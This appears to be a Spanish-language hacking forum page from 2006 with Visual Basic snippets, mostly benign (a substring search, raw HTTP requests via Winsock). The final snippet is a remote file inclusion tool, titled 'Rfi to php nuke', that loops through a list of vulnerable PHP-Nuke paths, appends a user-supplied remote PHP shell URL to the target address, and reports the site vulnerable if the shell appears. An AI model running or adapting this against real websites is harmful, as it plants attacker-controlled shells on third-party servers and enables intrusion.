Podrias postar el codigo de fuente?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: karmany en 21 Septiembre 2006, 17:47 PM
Es sencillo, esto es un ejemplo:
imagina que quieres encontrar si la cadena "aa" se encuentra en text1:
dim cadena as string, x as integer
cadena = "aa"
For x=1 to len(text1)-len(cadena)+1
if mid(text1,x,len(cadena)) = cadena then stop 'existe cadena
next x
Cita de: ||MadAntrax|| en 19 Septiembre 2006, 00:43 AMRobando la idea y no explicas como se hace.. gracias igual
uf, usando el control de explorador de internet es distinto. Con Winsock te funcionaría mejor, ademas puedes evaluar la respuesta del servidor através del codigo de 3 digitos que devuelve el protocolo HTTP.
Pero si no sabes usarlo entonces no te compliques la vida. La mejor solución sería con winsock, pero si no puedes o no sabes usarlo entonces no se que otro método te queda.
Yo por mi parte he creado este mismo proyecto tuyo pero con otros datos y para otros fines, si tengo tiempo comento el código y lo hago público. Saludos !!!
Cita de: ||MadAntrax|| en 19 Septiembre 2006, 00:24 AM
Lo que tienes que hacer es jugar con los eventos de MSWinsock. En el evento OnConnect pones algo así:
Winsock1(Index).SendData "GET /index.php HTTP/1.1" & vbCrLf
Winsock1(Index).SendData "Host: www.google.com" & vbCrLf
Winsock1(Index).SendData "From: 0.0.0.0" & vbCrLf
Winsock1(Index).SendData "User-Agent: Pruebas/1.0" & vbCrLf & vbCrLf
Solo tienes que ir variando la petición GET por un valor del array, primero empiezas por el 1, cuando el servidor responda miras los datos en DataArrival, si es positivo mandas un mensaje y llamas a la funcion ws.senddata (la de arriba) con un valor incrementado del array, asi hasta el valor 17.
No necesitas ni timers ni bucles
Private Sub Timer1_Timer()
If i < 53 Then
i = i + 1
Else
MsgBox "Ya termino el test, si vistes una shell en php, es porque es vulnerable", vbInformation + vbOKOnly, "Rfi to php nuke"
Timer1.Enabled = False
i = 0
End If
Wb.Navigate (txtUrl.Text & VarBug(i) & txtshell.Text)
barra.Value = i
End Sub